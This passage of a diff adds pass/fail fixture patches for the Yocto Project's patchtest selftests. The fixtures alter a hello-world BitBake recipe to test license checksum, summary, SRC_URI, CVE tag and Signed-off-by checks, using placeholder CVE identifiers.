+ 1 file changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+index 547587bef4..9908b3b417 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+@@ -16,4 +16,6 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++CVE_STATUS[CVE-2024-12345] = "not-applicable-platform: Issue only applies on Windows"
++
++BBCLASSEXTEND = "native nativesdk"
+--
+2.39.2
+
diff --git a/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_modified_not_mentioned.fail b/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_modified_not_mentioned.fail
new file mode 100644
index 0000000000..ab6c52c374
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_modified_not_mentioned.fail
@@ -0,0 +1,37 @@
+From f89919ea86d38404dd621521680a0162367bb965 Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Wed, 6 Sep 2023 09:09:27 -0400
+Subject: [PATCH] selftest-hello: update LIC_FILES_CHKSUM
+
+This test should fail the
+test_metadata_lic_files_chksum.LicFilesChkSum.test_lic_files_chksum_modified_not_mentioned
+test.
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ .../recipes-test/selftest-hello/selftest-hello_1.0.bb | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+index 547587bef4..65dda40aba 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+@@ -1,7 +1,7 @@
+ DESCRIPTION = "Simple helloworld application -- selftest variant"
+ SECTION = "examples"
+ LICENSE = "MIT"
+-LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
++LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f303"
+
+ SRC_URI = "file://helloworld.c"
+
+@@ -16,4 +16,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_modified_not_mentioned.pass b/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_modified_not_mentioned.pass
new file mode 100644
index 0000000000..99d9f144da
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_modified_not_mentioned.pass
@@ -0,0 +1,39 @@
+From f89919ea86d38404dd621521680a0162367bb965 Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Wed, 6 Sep 2023 09:09:27 -0400
+Subject: [PATCH] selftest-hello: update LIC_FILES_CHKSUM
+
+License-Update: Fix checksum
+
+This test should pass the
+test_metadata_lic_files_chksum.LicFilesChkSum.test_lic_files_chksum_modified_not_mentioned
+test.
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ .../recipes-test/selftest-hello/selftest-hello_1.0.bb | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+index 547587bef4..65dda40aba 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+@@ -1,7 +1,7 @@
+ DESCRIPTION = "Simple helloworld application -- selftest variant"
+ SECTION = "examples"
+ LICENSE = "MIT"
+-LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
++LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f303"
+
+ SRC_URI = "file://helloworld.c"
+
+@@ -16,4 +16,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_presence.fail b/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_presence.fail
new file mode 100644
index 0000000000..e14d644bb2
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_presence.fail
@@ -0,0 +1,53 @@
+From 66430e7c6fbd5187b66560909a510e136fed91c0 Mon Sep 17 00:00:00 2001
+From: Daniela Plascencia <daniela.plascencia@linux.intel.com>
+Date: Thu, 23 Feb 2017 10:34:27 -0600
+Subject: [PATCH] meta: adding hello-yocto recipe
+
+This is a sample recipe
+
+Signed-off-by: Daniela Plascencia <daniela.plascencia@linux.intel.com>
+---
+ .../hello-world/hello-world/hello_world.c | 5 +++++
+ .../hello-world/hello-world_1.0.bb | 18 ++++++++++++++++++
+ 2 files changed, 23 insertions(+)
+ create mode 100644 meta/recipes-devtools/hello-world/hello-world/hello_world.c
+ create mode 100644 meta/recipes-devtools/hello-world/hello-world_1.0.bb
+
+diff --git a/meta/recipes-devtools/hello-world/hello-world/hello_world.c b/meta/recipes-devtools/hello-world/hello-world/hello_world.c
+new file mode 100644
+index 0000000000..0d59f57d4c
+--- /dev/null
++++ b/meta/recipes-devtools/hello-world/hello-world/hello_world.c
+@@ -0,0 +1,5 @@
++#include <stdio.h>
++
++int main(){
++ printf("Hello World\n");
++}
+diff --git a/meta/recipes-devtools/hello-world/hello-world_1.0.bb b/meta/recipes-devtools/hello-world/hello-world_1.0.bb
+new file mode 100644
+index 0000000000..3c990c108a
+--- /dev/null
++++ b/meta/recipes-devtools/hello-world/hello-world_1.0.bb
+@@ -0,0 +1,18 @@
++SUMMARY = "This is a sample summary"
++DESCRIPTION = "This is a sample description"
++HOMEPAGE = "https://sample.com/this-is-a-sample"
++LICENSE = "MIT"
++
++SRC_URI += "file://hello_world.c"
++
++SRC_URI[md5sum] = "4ee21e9dcc9b5b6012c23038734e1632"
++SRC_URI[sha256sum] = "edef2bbde0fbf0d88232782a0eded323f483a0519d6fde9a3b1809056fd35f3e"
++
++do_compile(){
++ ${CC} -o hello_world ../hello_world.c
++}
++
++do_install(){
++ install -d ${D}${bindir}
++ install -m +x hello_world ${D}${bindir}/hello_world
++}
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_presence.pass b/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_presence.pass
new file mode 100644
index 0000000000..b8da16dfe5
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_presence.pass
@@ -0,0 +1,54 @@
+From 5144d2ba1aa763312c047dd5f8901368cff79da6 Mon Sep 17 00:00:00 2001
+From: Daniela Plascencia <daniela.plascencia@linux.intel.com>
+Date: Thu, 23 Feb 2017 10:34:27 -0600
+Subject: [PATCH] meta: adding hello-yocto recipe
+
+This is a sample recipe
+
+Signed-off-by: Daniela Plascencia <daniela.plascencia@linux.intel.com>
+---
+ .../hello-world/hello-world/hello_world.c | 5 +++++
+ .../hello-world/hello-world_1.0.bb | 19 +++++++++++++++++++
+ 2 files changed, 24 insertions(+)
+ create mode 100644 meta/recipes-devtools/hello-world/hello-world/hello_world.c
+ create mode 100644 meta/recipes-devtools/hello-world/hello-world_1.0.bb
+
+diff --git a/meta/recipes-devtools/hello-world/hello-world/hello_world.c b/meta/recipes-devtools/hello-world/hello-world/hello_world.c
+new file mode 100644
+index 0000000000..0d59f57d4c
+--- /dev/null
++++ b/meta/recipes-devtools/hello-world/hello-world/hello_world.c
+@@ -0,0 +1,5 @@
++#include <stdio.h>
++
++int main(){
++ printf("Hello World\n");
++}
+diff --git a/meta/recipes-devtools/hello-world/hello-world_1.0.bb b/meta/recipes-devtools/hello-world/hello-world_1.0.bb
+new file mode 100644
+index 0000000000..44d888c82a
+--- /dev/null
++++ b/meta/recipes-devtools/hello-world/hello-world_1.0.bb
+@@ -0,0 +1,19 @@
++SUMMARY = "This is a sample summary"
++DESCRIPTION = "This is a sample description"
++HOMEPAGE = "https://sample.com/this-is-a-sample"
++LICENSE = "MIT"
++LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
++
++SRC_URI += "file://hello_world.c"
++
++SRC_URI[md5sum] = "4ee21e9dcc9b5b6012c23038734e1632"
++SRC_URI[sha256sum] = "edef2bbde0fbf0d88232782a0eded323f483a0519d6fde9a3b1809056fd35f3e"
++
++do_compile(){
++ ${CC} -o hello_world ../hello_world.c
++}
++
++do_install(){
++ install -d ${D}${bindir}
++ install -m +x hello_world ${D}${bindir}/hello_world
++}
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMetadata.test_src_uri_left_files.fail b/meta/lib/patchtest/selftest/files/TestMetadata.test_src_uri_left_files.fail
new file mode 100644
index 0000000000..983b6e0c2b
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMetadata.test_src_uri_left_files.fail
@@ -0,0 +1,35 @@
+From 4ab06b5f81455249cd5e89d2cce9863803b5ecb5 Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Fri, 8 Sep 2023 14:41:00 -0400
+Subject: [PATCH] selftest-hello: remove helloworld.c
+
+This should fail the test_src_uri_left_files selftest.
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ .../recipes-test/selftest-hello/selftest-hello_1.0.bb | 4 +---
+ 1 file changed, 1 insertion(+), 3 deletions(-)
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+index 547587bef4..f6817f05bc 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+@@ -3,8 +3,6 @@ SECTION = "examples"
+ LICENSE = "MIT"
+ LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+-SRC_URI = "file://helloworld.c"
+-
+ S = "${WORKDIR}"
+
+ do_compile() {
+@@ -16,4 +14,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMetadata.test_src_uri_left_files.pass b/meta/lib/patchtest/selftest/files/TestMetadata.test_src_uri_left_files.pass
new file mode 100644
index 0000000000..1f1a77e581
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMetadata.test_src_uri_left_files.pass
@@ -0,0 +1,51 @@
+From 6c7ac367a873bf827c19b81085c943eace917a99 Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Fri, 8 Sep 2023 14:41:00 -0400
+Subject: [PATCH] selftest-hello: remove helloworld.c
+
+This should pass the test_src_uri_left_files selftest.
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ .../recipes-test/selftest-hello/files/helloworld.c | 8 --------
+ .../recipes-test/selftest-hello/selftest-hello_1.0.bb | 4 +---
+ 2 files changed, 1 insertion(+), 11 deletions(-)
+ delete mode 100644 meta-selftest/recipes-test/selftest-hello/files/helloworld.c
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/files/helloworld.c b/meta-selftest/recipes-test/selftest-hello/files/helloworld.c
+deleted file mode 100644
+index fc7169b7b8..0000000000
+--- a/meta-selftest/recipes-test/selftest-hello/files/helloworld.c
++++ /dev/null
+@@ -1,8 +0,0 @@
+-#include <stdio.h>
+-
+-int main(void)
+-{
+- printf("Hello world!\n");
+-
+- return 0;
+-}
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+index 547587bef4..f6817f05bc 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+@@ -3,8 +3,6 @@ SECTION = "examples"
+ LICENSE = "MIT"
+ LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+-SRC_URI = "file://helloworld.c"
+-
+ S = "${WORKDIR}"
+
+ do_compile() {
+@@ -16,4 +14,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMetadata.test_summary_presence.fail b/meta/lib/patchtest/selftest/files/TestMetadata.test_summary_presence.fail
new file mode 100644
index 0000000000..2d2b4e683d
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMetadata.test_summary_presence.fail
@@ -0,0 +1,46 @@
+From e29da5faa74409be394caa09d9f3b7b60f8592b9 Mon Sep 17 00:00:00 2001
+From: Daniela Plascencia <daniela.plascencia@linux.intel.com>
+Date: Thu, 23 Feb 2017 10:34:27 -0600
+Subject: [PATCH] meta: adding hello-yocto recipe
+
+This is a sample recipe
+
+Signed-off-by: Daniela Plascencia <daniela.plascencia@linux.intel.com>
+---
+ meta/recipes-devtools/hello-world/hello-world/hello_world.c | 5 +++++
+ meta/recipes-devtools/hello-world/hello-world_1.0.bb | 12 ++++++++++++
+ 2 files changed, 17 insertions(+)
+ create mode 100644 meta/recipes-devtools/hello-world/hello-world/hello_world.c
+ create mode 100644 meta/recipes-devtools/hello-world/hello-world_1.0.bb
+
+diff --git a/meta/recipes-devtools/hello-world/hello-world/hello_world.c b/meta/recipes-devtools/hello-world/hello-world/hello_world.c
+new file mode 100644
+index 0000000000..0d59f57d4c
+--- /dev/null
++++ b/meta/recipes-devtools/hello-world/hello-world/hello_world.c
+@@ -0,0 +1,5 @@
++#include <stdio.h>
++
++int main(){
++ printf("Hello World\n");
++}
+diff --git a/meta/recipes-devtools/hello-world/hello-world_1.0.bb b/meta/recipes-devtools/hello-world/hello-world_1.0.bb
+new file mode 100644
+index 0000000000..c4e1359217
+--- /dev/null
++++ b/meta/recipes-devtools/hello-world/hello-world_1.0.bb
+@@ -0,0 +1,12 @@
++LICENSE = "CLOSED"
++
++SRC_URI += "file://hello_world.c"
++
++do_compile(){
++ ${CC} -o hello_world ../hello_world.c
++}
++
++do_install(){
++ install -d ${D}${bindir}
++ install -m +x hello_world ${D}${bindir}/hello_world
++}
+--
+2.11.0
diff --git a/meta/lib/patchtest/selftest/files/TestMetadata.test_summary_presence.pass b/meta/lib/patchtest/selftest/files/TestMetadata.test_summary_presence.pass
new file mode 100644
index 0000000000..55f0309b3f
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMetadata.test_summary_presence.pass
@@ -0,0 +1,49 @@
+From 0cd2fed12ce4b7b071edde12aec4481ad7a6f107 Mon Sep 17 00:00:00 2001
+From: Daniela Plascencia <daniela.plascencia@linux.intel.com>
+Date: Thu, 23 Feb 2017 10:34:27 -0600
+Subject: [PATCH] meta: adding hello-yocto recipe
+
+This is a sample recipe
+
+Signed-off-by: Daniela Plascencia <daniela.plascencia@linux.intel.com>
+---
+ .../hello-world/hello-world/hello_world.c | 5 +++++
+ meta/recipes-devtools/hello-world/hello-world_1.0.bb | 15 +++++++++++++++
+ 2 files changed, 20 insertions(+)
+ create mode 100644 meta/recipes-devtools/hello-world/hello-world/hello_world.c
+ create mode 100644 meta/recipes-devtools/hello-world/hello-world_1.0.bb
+
+diff --git a/meta/recipes-devtools/hello-world/hello-world/hello_world.c b/meta/recipes-devtools/hello-world/hello-world/hello_world.c
+new file mode 100644
+index 0000000000..0d59f57d4c
+--- /dev/null
++++ b/meta/recipes-devtools/hello-world/hello-world/hello_world.c
+@@ -0,0 +1,5 @@
++#include <stdio.h>
++
++int main(){
++ printf("Hello World\n");
++}
+diff --git a/meta/recipes-devtools/hello-world/hello-world_1.0.bb b/meta/recipes-devtools/hello-world/hello-world_1.0.bb
+new file mode 100644
+index 0000000000..c54283eece
+--- /dev/null
++++ b/meta/recipes-devtools/hello-world/hello-world_1.0.bb
+@@ -0,0 +1,15 @@
++SUMMARY = "This is a sample summary"
++DESCRIPTION = "This is a sample description"
++HOMEPAGE = "https://sample.com/this-is-a-sample"
++LICENSE = "CLOSED"
++
++SRC_URI += "file://hello_world.c"
++
++do_compile(){
++ ${CC} -o hello_world ../hello_world.c
++}
++
++do_install(){
++ install -d ${D}${bindir}
++ install -m +x hello_world ${D}${bindir}/hello_world
++}
+--
+2.11.0
diff --git a/meta/lib/patchtest/selftest/files/TestPatch.test_cve_tag_format.fail b/meta/lib/patchtest/selftest/files/TestPatch.test_cve_tag_format.fail
new file mode 100644
index 0000000000..c763a7506e
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestPatch.test_cve_tag_format.fail
@@ -0,0 +1,73 @@
+From 35ccee3cee96fb29514475279248078d88907231 Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Tue, 29 Aug 2023 14:12:27 -0400
+Subject: [PATCH] selftest-hello: fix CVE-1234-56789
+
+CVE: CVE-BAD-FORMAT
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ .../files/0001-Fix-CVE-1234-56789.patch | 27 +++++++++++++++++++
+ .../selftest-hello/selftest-hello_1.0.bb | 6 +++--
+ 2 files changed, 31 insertions(+), 2 deletions(-)
+ create mode 100644 meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch b/meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch
+new file mode 100644
+index 0000000000..9219b8db62
+--- /dev/null
++++ b/meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch
+@@ -0,0 +1,27 @@
++From b26a31186e6ee2eb1f506d5f2f9394d327a0df2f Mon Sep 17 00:00:00 2001
++From: Trevor Gamblin <tgamblin@baylibre.com>
++Date: Tue, 29 Aug 2023 14:08:20 -0400
++Subject: [PATCH] Fix CVE-NOT-REAL
++
++CVE: CVE-BAD-FORMAT
++Upstream-Status: Backport(http://example.com/example)
++
++Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
++---
++ strlen.c | 1 +
++ 1 file changed, 1 insertion(+)
++
++diff --git a/strlen.c b/strlen.c
++index 1788f38..83d7918 100644
++--- a/strlen.c
+++++ b/strlen.c
++@@ -8,6 +8,7 @@ int main() {
++
++ printf("%d\n", str_len(string1));
++ printf("%d\n", str_len(string2));
+++ printf("CVE FIXED!!!\n");
++
++ return 0;
++ }
++--
++2.41.0
++
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+index 547587bef4..76975a6729 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+@@ -3,7 +3,9 @@ SECTION = "examples"
+ LICENSE = "MIT"
+ LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+-SRC_URI = "file://helloworld.c"
++SRC_URI = "file://helloworld.c \
++ file://CVE-1234-56789.patch \
++ "
+
+ S = "${WORKDIR}"
+
+@@ -16,4 +18,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestPatch.test_cve_tag_format.pass b/meta/lib/patchtest/selftest/files/TestPatch.test_cve_tag_format.pass
new file mode 100644
index 0000000000..ef6017037c
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestPatch.test_cve_tag_format.pass
@@ -0,0 +1,73 @@
+From 35ccee3cee96fb29514475279248078d88907231 Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Tue, 29 Aug 2023 14:12:27 -0400
+Subject: [PATCH] selftest-hello: fix CVE-1234-56789
+
+CVE: CVE-1234-56789
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ .../files/0001-Fix-CVE-1234-56789.patch | 27 +++++++++++++++++++
+ .../selftest-hello/selftest-hello_1.0.bb | 6 +++--
+ 2 files changed, 31 insertions(+), 2 deletions(-)
+ create mode 100644 meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch b/meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch
+new file mode 100644
+index 0000000000..9219b8db62
+--- /dev/null
++++ b/meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch
+@@ -0,0 +1,27 @@
++From b26a31186e6ee2eb1f506d5f2f9394d327a0df2f Mon Sep 17 00:00:00 2001
++From: Trevor Gamblin <tgamblin@baylibre.com>
++Date: Tue, 29 Aug 2023 14:08:20 -0400
++Subject: [PATCH] Fix CVE-NOT-REAL
++
++CVE: CVE-1234-56789
++Upstream-Status: Backport(http://example.com/example)
++
++Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
++---
++ strlen.c | 1 +
++ 1 file changed, 1 insertion(+)
++
++diff --git a/strlen.c b/strlen.c
++index 1788f38..83d7918 100644
++--- a/strlen.c
+++++ b/strlen.c
++@@ -8,6 +8,7 @@ int main() {
++
++ printf("%d\n", str_len(string1));
++ printf("%d\n", str_len(string2));
+++ printf("CVE FIXED!!!\n");
++
++ return 0;
++ }
++--
++2.41.0
++
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+index 547587bef4..76975a6729 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+@@ -3,7 +3,9 @@ SECTION = "examples"
+ LICENSE = "MIT"
+ LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+-SRC_URI = "file://helloworld.c"
++SRC_URI = "file://helloworld.c \
++ file://CVE-1234-56789.patch \
++ "
+
+ S = "${WORKDIR}"
+
+@@ -16,4 +18,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestPatch.test_signed_off_by_presence.fail b/meta/lib/patchtest/selftest/files/TestPatch.test_signed_off_by_presence.fail
new file mode 100644
index 0000000000..ce8bf7b7d1
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestPatch.test_signed_off_by_presence.fail
@@ -0,0 +1,71 @@
+From 5a2d0ac780a0f4c046fb1a3c3463d3e726f191cb Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Tue, 29 Aug 2023 14:12:27 -0400
+Subject: [PATCH] selftest-hello: fix CVE-1234-56789
+
+CVE: CVE-1234-56789
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ .../selftest-hello/files/CVE-1234-56789.patch | 26 +++++++++++++++++++
+ .../selftest-hello/selftest-hello_1.0.bb | 6 +++--
+ 2 files changed, 30 insertions(+), 2 deletions(-)
+ create mode 100644 meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch b/meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch
+new file mode 100644
+index 0000000000..92a5b65a53
+--- /dev/null
++++ b/meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch
+@@ -0,0 +1,26 @@
++From b26a31186e6ee2eb1f506d5f2f9394d327a0df2f Mon Sep 17 00:00:00 2001
++From: Trevor Gamblin <tgamblin@baylibre.com>
++Date: Tue, 29 Aug 2023 14:08:20 -0400
++Subject: [PATCH] Fix CVE-NOT-REAL
++
++CVE: CVE-1234-56789
++Upstream-Status: Backport(http://example.com/example)
++
++---
++ strlen.c | 1 +
++ 1 file changed, 1 insertion(+)
++
++diff --git a/strlen.c b/strlen.c
++index 1788f38..83d7918 100644
++--- a/strlen.c
+++++ b/strlen.c
++@@ -8,6 +8,7 @@ int main() {
++
++ printf("%d\n", str_len(string1));
++ printf("%d\n", str_len(string2));
+++ printf("CVE FIXED!!!\n");
++
++ return 0;
++ }
++--
++2.41.0
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+index 547587bef4..76975a6729 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+@@ -3,7 +3,9 @@ SECTION = "examples"
+ LICENSE = "MIT"
+ LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+-SRC_URI = "file://helloworld.c"
++SRC_URI = "file://helloworld.c \
++ file://CVE-1234-56789.patch \
++ "
+
+ S = "${WORKDIR}"
+
+@@ -16,4 +18,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestPatch.test_signed_off_by_presence.pass b/meta/lib/patchtest/selftest/files/TestPatch.test_signed_off_by_presence.pass
new file mode 100644
index 0000000000..ea34c76f0d
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestPatch.test_signed_off_by_presence.pass
@@ -0,0 +1,72 @@
+From 14d72f6973270f78455a8628143f2cff90e8f41e Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Tue, 29 Aug 2023 14:12:27 -0400
+Subject: [PATCH] selftest-hello: fix CVE-1234-56789
+
+CVE: CVE-1234-56789
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ .../selftest-hello/files/CVE-1234-56789.patch | 27 +++++++++++++++++++
+ .../selftest-hello/selftest-hello_1.0.bb | 6 +++--
+ 2 files changed, 31 insertions(+), 2 deletions(-)
+ create mode 100644 meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch b/meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch
+new file mode 100644
+index 0000000000..869cfb6fe5
+--- /dev/null
++++ b/meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch
+@@ -0,0 +1,27 @@
++From b26a31186e6ee2eb1f506d5f2f9394d327a0df2f Mon Sep 17 00:00:00 2001
++From: Trevor Gamblin <tgamblin@baylibre.com>
++Date: Tue, 29 Aug 2023 14:08:20 -0400
++Subject: [PATCH] Fix CVE-NOT-REAL
++
++CVE: CVE-1234-56789
++Upstream-Status: Backport(http://example.com/example)
++
++Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
++---
++ strlen.c | 1 +
++ 1 file changed, 1 insertion(+)
++
++diff --git a/strlen.c b/strlen.c
++index 1788f38..83d7918 100644
++--- a/strlen.c
+++++ b/strlen.c
++@@ -8,6 +8,7 @@ int main() {
++
++ printf("%d\n", str_len(string1));
++ printf("%d\n", str_len(string2));
+++ printf("CVE FIXED!!!\n");
++
++ return 0;
++ }
++--
++2.41.0
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+index 547587bef4..76975a6729 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+@@ -3,7 +3,9 @@ SECTION = "examples"
+ LICENSE = "MIT"
+ LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+-SRC_URI = "file://helloworld.c"
++SRC_URI = "file://helloworld.c \
